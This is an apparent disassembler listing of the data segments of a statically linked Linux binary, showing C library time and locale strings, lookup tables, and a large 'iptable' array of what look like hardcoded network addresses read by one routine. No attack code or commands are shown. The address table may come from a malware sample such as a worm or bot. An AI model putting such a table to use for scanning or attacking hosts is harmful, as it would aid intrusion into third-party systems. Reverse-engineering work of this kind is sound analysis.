		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
aHMS		db '%H:%M:%S',0
aMDY		db '%m/%d/%y',0
aABDHMSY	db '%a %b %d %H:%M:%S %Y',0
aPm		db 'PM',0
aAm		db 'AM',0
aDecember	db 'December',0
aNovember	db 'November',0
aOctober	db 'October',0
aSeptember	db 'September',0
aAugust		db 'August',0
aJuly		db 'July',0
aJune		db 'June',0
aApril		db 'April',0
aMarch		db 'March',0
aFebruary	db 'February',0
aJanuary	db 'January',0
aDec		db 'Dec',0
aNov		db 'Nov',0
aOct		db 'Oct',0
aSep		db 'Sep',0
aAug		db 'Aug',0
aJul		db 'Jul',0
aJun		db 'Jun',0
aMay		db 'May',0
aApr		db 'Apr',0
aMar		db 'Mar',0
aFeb		db 'Feb',0
aJan		db 'Jan',0
aSaturday	db 'Saturday',0
aFriday		db 'Friday',0
aThursday	db 'Thursday',0
aWednesday	db 'Wednesday',0
aTuesday	db 'Tuesday',0
aMonday		db 'Monday',0
aSunday		db 'Sunday',0
aSat		db 'Sat',0
aFri		db 'Fri',0
aThu		db 'Thu',0
aWed		db 'Wed',0
aTue		db 'Tue',0
aMon		db 'Mon',0
aSun		db 'Sun',0
dword_806BFB0	dd 5			; DATA XREF: sub_8066BFC+2F8r
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  30h	; 0
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
aLc_all_0	db 'LC_ALL',0           ; DATA XREF: sub_8066BFC+1Ao
aLang_0		db 'LANG',0             ; DATA XREF: sub_8066BFC+53o
aLocal		db 'local',0            ; DATA XREF: sub_8066BFC+6Eo
aSS_0		db '%s/%s',0            ; DATA XREF: sub_8066BFC+CFo
aUsrShareLocale	db '/usr/share/locale',0 ; DATA XREF: sub_8066BFC+E7o
aSSS_0		db '%s/%s/%s',0         ; DATA XREF: sub_8066BFC+ECo
aSys_		db '/SYS_',0            ; DATA XREF: sub_8066BFC+13Do
aOutOfMemory_3	db 'out of memory',0    ; DATA XREF: sub_80671A4+44o
aXdr_referenceS	db 'xdr_reference: %s',0Ah,0 ; DATA XREF: sub_80671A4+59o
		db    0	;  
		db    1	;  
		db    2	;  
		db    2	;  
		db    3	;  
		db    3	;  
		db    3	;  
		db    3	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    0	;  
		db    1	;  
		db    2	;  
		db    2	;  
		db    3	;  
		db    3	;  
		db    3	;  
		db    3	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    5	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    6	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    7	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
		db    8	;  
_rodata		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
_data		segment	dword public 'DATA' use32
		assume cs:_data
		;org 806D228h
__environ	dd 0			; DATA XREF: start+2Aw	setenv+41r ...
iptable		dd 282000Ch, 56A010Ch, 66A010Ch, 24A010Ch, 2F0660Ch, 29B06B0Ch
					; DATA XREF: sub_8049174+176r
		dd 2AB06B0Ch, 26F6D0Ch,	7F06D0Ch, 8F06D0Ch, 0B940B0Ch
		dd 7ECB6F0Ch, 43107F0Ch, 45107F0Ch, 46107F0Ch, 47117F0Ch
		dd 48117F0Ch, 4A117F0Ch, 0BE10D0Ch, 0CE10D0Ch, 0BED0D0Ch
		dd 0BF70D0Ch, 15D60E0Ch, 0AE10E0Ch, 0E24E950Ch,	1CE20F0Ch
		dd 1DE20F0Ch, 2A4100Ch,	529100Ch, 829100Ch, 929100Ch, 0FC0AA10Ch
		dd 9C0A10Ch, 0AE1A10Ch,	0FE1A10Ch, 260A10Ch, 360A10Ch
		dd 1880A20Ch, 1A80A20Ch, 1926A20Ch, 287E110Ch, 297E110Ch
		dd 18E110Ch, 1DA3110Ch,	0BCC1110Ch, 2706020Ch, 0E2A0140Ch
		dd 40C150Ch, 90C150Ch, 278150Ch, 378150Ch, 284150Ch, 384150Ch
		dd 0D289150Ch, 0D389150Ch, 290150Ch, 0AB0150Ch,	1D7150Ch
		dd 66E4150Ch, 67E4150Ch, 220150Ch, 204150Ch, 12D150Ch
		dd 0D4C150Ch, 0E4C150Ch, 233C160Ch, 2210170Ch, 0BF4190Ch
		dd 32451A0Ch, 0BC81C0Ch, 2381C0Ch, 3381C0Ch, 2AF1D0Ch
		dd 6CC21D0Ch, 7E231E0Ch, 0AE90200Ch, 0FBF210Ch,	290220Ch
		dd 6F5230Ch, 85F1270Ch,	85F2270Ch, 275040Ch, 4BA2280Ch
		dd 308280Ch, 0A7A290Ch,	0B7A290Ch, 67C290Ch, 97C290Ch
		dd 0AB6290Ch, 0DB6290Ch, 0F1B8290Ch, 25E0290Ch,	2EA290Ch
		dd 23EA290Ch, 43EC290Ch, 44EC290Ch, 1ED290Ch, 842290Ch
		dd 0D358290Ch, 858290Ch, 55D290Ch, 14B3050Ch, 15B3050Ch
		dd 0A79060Ch, 222060Ch,	12A060Ch, 22A060Ch, 0BF4070Ch
		dd 5020A80h, 1016480h, 1646480h, 80646480h, 70666480h
		dd 0C9666480h, 3666480h, 65656580h, 628A6680h, 2106680h
		dd 1F126680h, 1016780h,	65C86780h, 0A196880h, 111E6880h
		dd 3C1E6880h, 0A026980h, 6026980h, 2826D80h, 3836D80h
		dd 28836D80h, 1C16D80h,	787C6E80h, 63846E80h, 1016F80h
		dd 2016F80h, 1807080h, 0F817080h, 3017180h, 5017180h, 69817280h
		dd 21817280h, 68E7280h,	1F97380h, 2F97380h, 208D7680h
		dd 3197680h, 0EA67780h,	0EAF7780h, 0C287780h, 2C17980h
		dd 3C17980h, 52C17980h,	2067980h, 0FD067980h, 18807A80h
		dd 2817A80h, 25FD7A80h,	5CFD7A80h, 13027B80h, 5037B80h
		dd 0B7137D80h, 88FD7D80h, 0ACFD7D80h, 0B7FD7D80h, 27C7E80h
		dd 1108080h, 2108080h, 0C9018480h, 0CA018480h, 2308680h
		dd 490C8780h, 64148780h, 2048780h, 0BC08880h, 1018980h
		dd 0DD58A80h, 9AEE8A80h, 12EE8A80h, 1F08A80h, 97F38A80h
		dd 3048B80h, 1068B80h, 7028F80h, 77168F80h, 7038F80h, 1C019080h
		dd 16329080h, 7019280h,	7309280h, 53809380h, 65169380h
		dd 0B809480h, 9809480h,	34809780h, 6E09780h, 1A019880h
		dd 6019880h, 2809980h, 2049980h, 0A2C9A80h, 23039B80h
		dd 37039B80h, 17059D80h, 1019E80h, 4019E80h, 0AEAE9F80h
		dd 20051080h, 8061080h,	9626A080h, 7534A080h, 601A380h
		dd 0B8DA480h, 0C8DA480h, 2C9A980h, 6432A980h, 9614AA80h
		dd 214AA80h, 4F4AA80h, 101AB80h, 0AABAB80h, 0D03AB80h
		dd 101AC80h, 201AC80h, 0A5AAC80h, 470EAD80h, 6605AE80h
		dd 6705AE80h, 6805AE80h, 3A05AE80h, 100DAF80h, 110DAF80h
		dd 4A0DAF80h, 5C0DAF80h, 0C00B080h, 0D00B080h, 70FB280h
		dd 80FB280h, 46E1280h, 411E1280h, 421E1280h, 301B480h
		dd 902B480h, 633EB680h,	641B680h, 860AB780h, 2173B780h
		dd 1132B780h, 401B880h,	6706BA80h, 8116BB80h, 0C816BB80h
		dd 6E01BC80h, 104BD80h,	11001380h, 3001380h, 110BF80h
		dd 0FA30BF80h, 0C101C080h, 901C080h, 1404C180h,	2140C180h
		dd 1B2C280h, 5C6C280h, 4201C380h, 4219C380h, 0E980C480h
		dd 3E02C580h, 2814C580h, 71BC580h, 0FA01C680h, 82CE0280h
		dd 0C7DE0280h, 0C901C880h, 0CAC0C880h, 201CD80h, 16ACD80h
		dd 820CD80h, 107CD80h, 0FC02CE80h, 50BD280h, 101D580h
		dd 708D580h, 84F8D680h,	1D04D680h, 402ED680h, 190BD980h
		dd 0AFEDA80h, 28FEDA80h, 141BDA80h, 1F99DB80h, 0D77FDC80h
		dd 702DC80h, 5202DC80h,	183DD80h, 201DE80h, 2320DF80h
		dd 906DF80h, 8801E080h,	0B01E280h, 0A280E380h, 1880E380h
		dd 0FE80E380h, 0FD94E380h, 310E380h, 0A01E480h,	4005E480h
		dd 4011780h, 0ACB1780h,	3101E680h, 50CE680h, 0FB80E780h
		dd 140E780h, 1200E880h,	1300E880h, 103E980h, 203E980h
		dd 0AFBEB80h, 102ED80h,	2602EE80h, 1E01EF80h, 5002F080h
		dd 12E5F080h, 22E5F080h, 614F380h, 1015F380h, 0C128F380h
		dd 64C2F480h, 20C5F480h, 1D41F480h, 32ABF880h, 3202F880h
		dd 3207F880h, 101F980h,	102F980h, 202F980h, 96DDF980h
		dd 1501FA80h, 214FA80h,	4AFCFA80h, 178FC80h, 2B4FD80h
		dd 801FF80h, 2F11FF80h,	540FF80h, 0BA220380h, 0C882080h
		dd 9882080h, 0CCE2080h,	9CE2080h, 5212080h, 3FD2380h, 1202380h
		dd 0AD82780h, 182A2A80h, 4052A80h, 4C9A2E80h, 65663080h
		dd 0C9743080h, 7103180h, 16203480h, 50203480h, 2103680h
		dd 0A063780h, 0B063780h, 636F3B80h, 14103B80h, 8E283B80h
		dd 3C403B80h, 8150680h,	9150680h, 0E0823D80h, 0F843D80h
		dd 4103F80h, 5020780h, 0E0A0880h, 5A0A0880h, 2050880h
		dd 24A0880h, 24C0880h, 65E05280h, 66E05280h, 98B5380h
		dd 27B95380h, 2CB95380h, 0A9A5480h, 14015680h, 19085680h
		dd 7F800980h, 59A00980h, 20B00980h, 1FE5B80h, 4FE5B80h
		dd 1F146080h, 29146080h, 1016280h, 1006380h, 1E006380h
		dd 2020181h, 3020181h, 2190181h, 2400181h, 0D010A81h, 0FC0A6481h
		dd 0C026481h, 33026481h, 0DC776581h, 0DF776581h, 0A5F6581h
		dd 6016681h, 8016681h, 291E6881h, 29206881h, 1316981h
		dd 2016B81h, 9016B81h, 14CA6C81h, 23CA6C81h, 0CF016D81h
		dd 77800B81h, 729F0B81h, 7A9F0B81h, 10A6E81h, 71F6E81h
		dd 61A6F81h, 71A6F81h, 2017181h, 14CE7481h, 1017681h, 2037781h
		dd 0A407781h, 8150C81h,	0FCD27881h, 0FDD27881h,	0FED27881h
		dd 1FE7981h, 2017B81h, 7017B81h, 9017B81h, 0A967C81h, 0D047D81h
		dd 6047D81h, 41C7F81h, 3287F81h, 0F1048081h, 0E9058081h
		dd 0E94C8081h, 1648181h, 0A6E8181h, 5A0A0D81h, 5400D81h
		dd 180C8281h, 0DCFA8481h, 0C628481h, 32018581h,	33018581h
		dd 0AFA8A81h, 0D8048A81h, 0AC88D81h, 0FC88D81h,	10C88D81h
		dd 40068E81h, 41068E81h, 63078E81h, 1028F81h, 0A010F81h
		dd 9010F81h, 1011081h, 3011081h, 2ACA281h, 151EA481h, 908A981h
		dd 410AA81h, 411AA81h, 161AB81h, 0A01AD81h, 0B01AD81h
		dd 801AE81h, 10FAF81h, 40FAF81h, 564B081h, 5C7B081h, 1F0CB181h
		dd 310B181h, 31EB181h, 4158B281h, 1101B481h, 401B481h
		dd 704B481h, 171B581h, 30CB581h, 0FE78B581h, 380B581h
		dd 480B581h, 0A210B581h, 5810B581h, 1A5B581h, 1B2B581h
		dd 1B6B581h, 0CB8B581h,	0C801BA81h, 0C88CBA81h,	0C88EBA81h
		dd 190ABB81h, 110BB81h,	6488BC81h, 6588BC81h, 4601381h
		dd 101BF81h, 1940C081h,	104C181h, 2004C281h, 604C281h
		dd 708C281h, 3CFEC381h,	3DFEC381h, 14E1C481h, 15E1C481h
		dd 29F1C681h, 0B60C781h, 31801481h, 1FE1481h, 41FECB81h
		dd 7E64CE81h, 7F64CE81h, 364CF81h, 1151581h, 1EEF1581h
		dd 11031581h, 11E1581h,	3211581h, 12041581h, 1371581h
		dd 1391581h, 81391581h,	13A1581h, 83C1581h, 93C1581h, 815E1581h
		dd 0F50CD281h, 108D281h, 10BD481h, 280D581h, 6280D581h
		dd 0F0A0D781h, 0DA6D781h, 21A8D781h, 0F02AD781h, 0EF46D781h
		dd 383D981h, 2A04D981h,	510DDB81h, 0C811DB81h, 511DB81h
		dd 1041681h, 3041681h, 0DDDDE481h, 1B11E981h, 2F11E981h
		dd 0B04EA81h, 1604EA81h, 904EA81h, 1546EB81h, 140AEC81h
		dd 1E0AEC81h, 120ED81h,	220ED81h, 0A1AEF81h, 1081881h
		dd 4081881h, 302F081h, 2802F081h, 240F081h, 501F181h, 6001F181h
		dd 6301F181h, 180AF181h, 567F181h, 0B6CF181h, 0C6EF181h
		dd 0A8CF181h, 0FA0FF181h, 0B9BF181h, 0A10F181h,	0BEBEF181h
		dd 0AC0F181h, 3C8F181h,	0D3D2F181h, 1616F181h, 151BF181h
		dd 22AF181h, 6406F181h,	6B06F181h, 440F181h, 707F181h
		dd 2852F181h, 115DF181h, 0FE04F281h, 0FE05F281h, 2029F481h
		dd 0B65F681h, 1A0F781h,	140F781h, 160F781h, 0A7CFA81h
		dd 3D0FFA81h, 0AFCFA81h, 0BE1FFA81h, 2023FA81h,	2123FA81h
		dd 2223FA81h, 0B29FC81h, 192AFC81h, 1AAFD81h, 2AAFD81h
		dd 0D7EFE81h, 52081A81h, 1010381h, 64010381h, 24010381h
		dd 0A031E81h, 10031E81h, 1010481h, 1020481h, 4002981h
		dd 5002981h, 4802981h, 5802981h, 4F02981h, 5F02981h, 4202981h
		dd 5202981h, 142A2981h,	152A2981h, 4302981h, 5302981h
		dd 4362981h, 5362981h, 23C2981h, 0C83F2981h, 0C93F2981h
		dd 4502981h, 5502981h, 5022A81h, 85042A81h, 6062A81h, 0B012B81h
		dd 0D6683081h, 0FA073181h, 3073181h, 0E6100581h, 0E8100581h
		dd 0A0053381h, 0A1053381h, 1DB3581h, 65DB3581h,	30C3781h
		dd 3183781h, 0A013B81h,	0A023B81h, 20D0681h, 66273C81h
		dd 67273C81h, 17923D81h, 3923D81h, 2013E81h, 4103E81h
		dd 1013F81h, 0B634081h,	0C634081h, 0FE104181h, 0FE154181h
		dd 9AC4281h, 4144281h, 44C4281h, 35F4281h, 1014381h, 0B4014381h
		dd 1714481h, 2714481h, 1C014581h, 1010781h, 14010781h
		dd 64844681h, 37044681h, 10054681h, 1014781h, 1024781h
		dd 83C4881h, 0F014981h,	64FA4A81h, 1014D81h, 1974E81h
		dd 1244E81h, 1404E81h, 2404E81h, 1014F81h, 0BFFE4F81h
		dd 64054F81h, 69320881h, 2340881h, 87165081h, 1845181h
		dd 3845181h, 15105181h,	32E05181h, 40645281h, 15015581h
		dd 11E5881h, 18205881h,	3A95981h, 0E025981h, 2065981h
		dd 0E075981h, 2075981h,	0FEFC5C81h, 0F8FD5C81h,	1015D81h
		dd 6D145F81h, 2145F81h,	0FC145F81h, 15016081h, 1FFC6081h
		dd 0A806181h, 64806181h, 4016281h, 6016281h, 1AC96281h
		dd 5E40010Dh, 10A6582h,	0FB936582h, 0FD046582h,	4056582h
		dd 8086582h, 0FA586582h, 2096582h, 2B806682h, 35806682h
		dd 0CB06682h, 1BB06682h, 0F026682h, 35026682h, 1016882h
		dd 2016882h, 1FE6882h, 14016B82h, 0E6016B82h, 0C8806C82h
		dd 0A026C82h, 2300B82h,	5016E82h, 7826F82h, 0B206F82h
		dd 7206F82h, 2017082h, 54017082h, 1807182h, 1407182h, 6C87282h
		dd 1017382h, 20F7382h, 8027482h, 2047682h, 0A017D82h, 5C87F82h
		dd 201C7F82h, 6100D82h,	1408282h, 1448282h, 0B308382h
		dd 0A018482h, 0B018482h, 9018482h, 39018582h, 0A508682h
		dd 76E8782h, 96E8782h, 6E018882h, 2408982h, 2190E82h, 80230E82h
		dd 5119582h, 0C029582h,	14049582h, 367E0F82h, 77E0F82h
		dd 64669682h, 14669682h, 0B8D9982h, 3C089982h, 1109B82h
		dd 28C09B82h, 20C29B82h, 8029B82h, 3029D82h, 5029D82h
		dd 15449E82h, 36479E82h, 7EC49F82h, 0BF89F82h, 1AF89F82h
		dd 9F89F82h, 7204A082h,	404A082h, 0C88FA182h, 1894A182h
		dd 0A710A182h, 3A0A182h, 0CEA4A182h, 1B4A182h, 41B4A182h
		dd 8CBCA182h, 1BDA182h,	0C5C4A182h, 1CCA182h, 7D8A182h
		dd 0CE4A182h, 2E5A182h,	80E8A182h, 46F2A182h, 1FDA182h
		dd 151CA182h, 1121A182h, 0FA22A182h, 1825A182h,	96A0A282h
		dd 97A0A282h, 201A382h,	0C801A382h, 0C8CA482h, 0F8CA482h
		dd 101A682h, 4601A682h,	6501A782h, 201A782h, 165A782h
		dd 4011182h, 32011182h,	8F10B382h, 4310B382h, 0C501282h
		dd 0D501282h, 660CB582h, 950CB582h, 179B682h, 1ABB682h
		dd 1501B782h, 2009B782h, 6707B882h, 5D07B882h, 7D59B982h
		dd 101BA82h, 3501BA82h,	101BB82h, 304BC82h, 404BC82h, 64F0BD82h
		dd 101BF82h, 0EE5BF82h,	1503C082h, 1803C082h, 0C3CC082h
		dd 6301C282h, 6307C282h, 0B02C382h, 0F902C382h,	0C05C382h
		dd 0A06C382h, 803C782h,	604C782h, 22801482h, 24141482h
		dd 24401482h, 0B541482h, 24541482h, 314CA82h, 514CA82h
		dd 401CB82h, 501CB82h, 610CB82h, 0A46CD82h, 201CE82h, 301CE82h
		dd 0F4F4CF82h, 0FBF4CF82h, 1004D182h, 1204D182h, 0A02D282h
		dd 0A20AD482h, 0A30AD482h, 118D782h, 101D882h, 401D882h
		dd 0C40D982h, 564DA82h,	6422DB82h, 0FD1E1682h, 201EDC82h
		dd 210DD82h, 410DD82h, 504DF82h, 1408DF82h, 360E182h, 401E282h
		dd 1C7E382h, 0A18E682h,	1F0E782h, 101E882h, 1601E882h
		dd 1E0E982h, 0DE0E982h,	101EA82h, 6480EB82h, 5A84EB82h
		dd 314EB82h, 901EC82h, 230EC82h, 0C848ED82h, 0C948ED82h
		dd 6A4EE82h, 8504EE82h,	0A07EE82h, 310EF82h, 0A08EF82h
		dd 101F082h, 213F082h, 296F182h, 519F182h, 0F01F582h, 1548F682h
		dd 0D08F682h, 401FB82h,	815FB82h, 0D01FD82h, 104FE82h
		dd 1B082182h, 29082182h, 6F0B2282h, 750B2282h, 0D1E2482h
		dd 0C83D2482h, 0C83E2482h, 4812582h, 6182582h, 47802782h
		dd 1EFE2782h, 5FE2782h,	5032782h, 0FB012982h, 0ED22C82h
		dd 2222F82h, 2173282h, 8013582h, 9013582h, 0D083682h, 11B3982h
		dd 1043982h, 0A443A82h,	1E013B82h, 1E0A3B82h, 3803C82h
		dd 33443C82h, 15A83F82h, 63ED3F82h, 8014082h, 8054082h
		dd 1784182h, 1194182h, 1034182h, 3214282h, 423C4382h, 19284682h
		dd 8804782h, 16C4982h, 4B014A82h, 4804A82h, 20014B82h
		dd 18F4E82h, 1C84F82h, 161D5082h, 1805282h, 2805282h, 3C165382h
		dd 3F165382h, 3C385382h, 8205482h, 0E085482h, 3015582h
		dd 4015582h, 5015582h, 2225782h, 6225782h, 2C05882h, 4C85882h
		dd 6C85882h, 2015982h, 2DC5982h, 34095C82h, 1805F82h, 2805F82h
		dd 28FE0A83h, 3CFE0A83h, 65016783h, 0B886883h, 0A146883h
		dd 14606883h, 29016A83h, 0F0016B83h, 641F6D83h,	0C8346E83h
		dd 0C9346E83h, 140C6F83h, 2A086F83h, 107D7083h,	47D7083h
		dd 1017183h, 0A157283h,	32737383h, 70F7383h, 1E017683h
		dd 1FE7683h, 81FE7683h,	5F57783h, 6F57783h, 34FE7883h
		dd 3AFE7883h, 1017983h,	2017983h, 1017B83h, 1017D83h, 6DC7E83h
		dd 7F018083h, 0B018283h, 0C018283h, 140A8383h, 83838383h
		dd 3F28883h, 4F28883h, 2FF8983h, 3608983h, 0C780E83h, 0B910E83h
		dd 0A049083h, 9049083h,	1029283h, 3009583h, 2019583h, 2880F83h
		dd 7019783h, 0F3FE9783h, 0B019A83h, 3019A83h, 1039A83h
		dd 3029B83h, 7029B83h, 0B019C83h, 27E9C83h, 7049E83h, 8049E83h
		dd 28329E83h, 41329E83h, 1009F83h, 51009F83h, 101A183h
		dd 102A183h, 2EE9A183h,	0F1F6A183h, 67FAA183h, 103A183h
		dd 0A3CA183h, 5A02A283h, 513FA583h, 533FA583h, 501A683h
		dd 201A783h, 2C8A983h, 1B11183h, 101AA83h, 0B0BAB83h, 202AC83h
		dd 1F5AD83h, 2F5AD83h, 4E0AE83h, 153CAE83h, 201AF83h, 401AF83h
		dd 21AB083h, 31AB083h, 101B283h, 2726B283h, 1080B383h
		dd 1E80B383h, 301B583h,	63FEB583h, 0C47B583h, 247B583h
		dd 0A61B583h, 101B783h,	2160B883h, 203BC83h, 2D2CBC83h
		dd 0EFA5BD83h, 0F11DBD83h, 28FEBF83h, 307BF83h,	0FE20C183h
		dd 0FE28C183h, 0B82C283h, 197C283h, 0BB1C983h, 301CA83h
		dd 403CA83h, 501CB83h, 1F8CB83h, 0D0ACC83h, 0A02CC83h
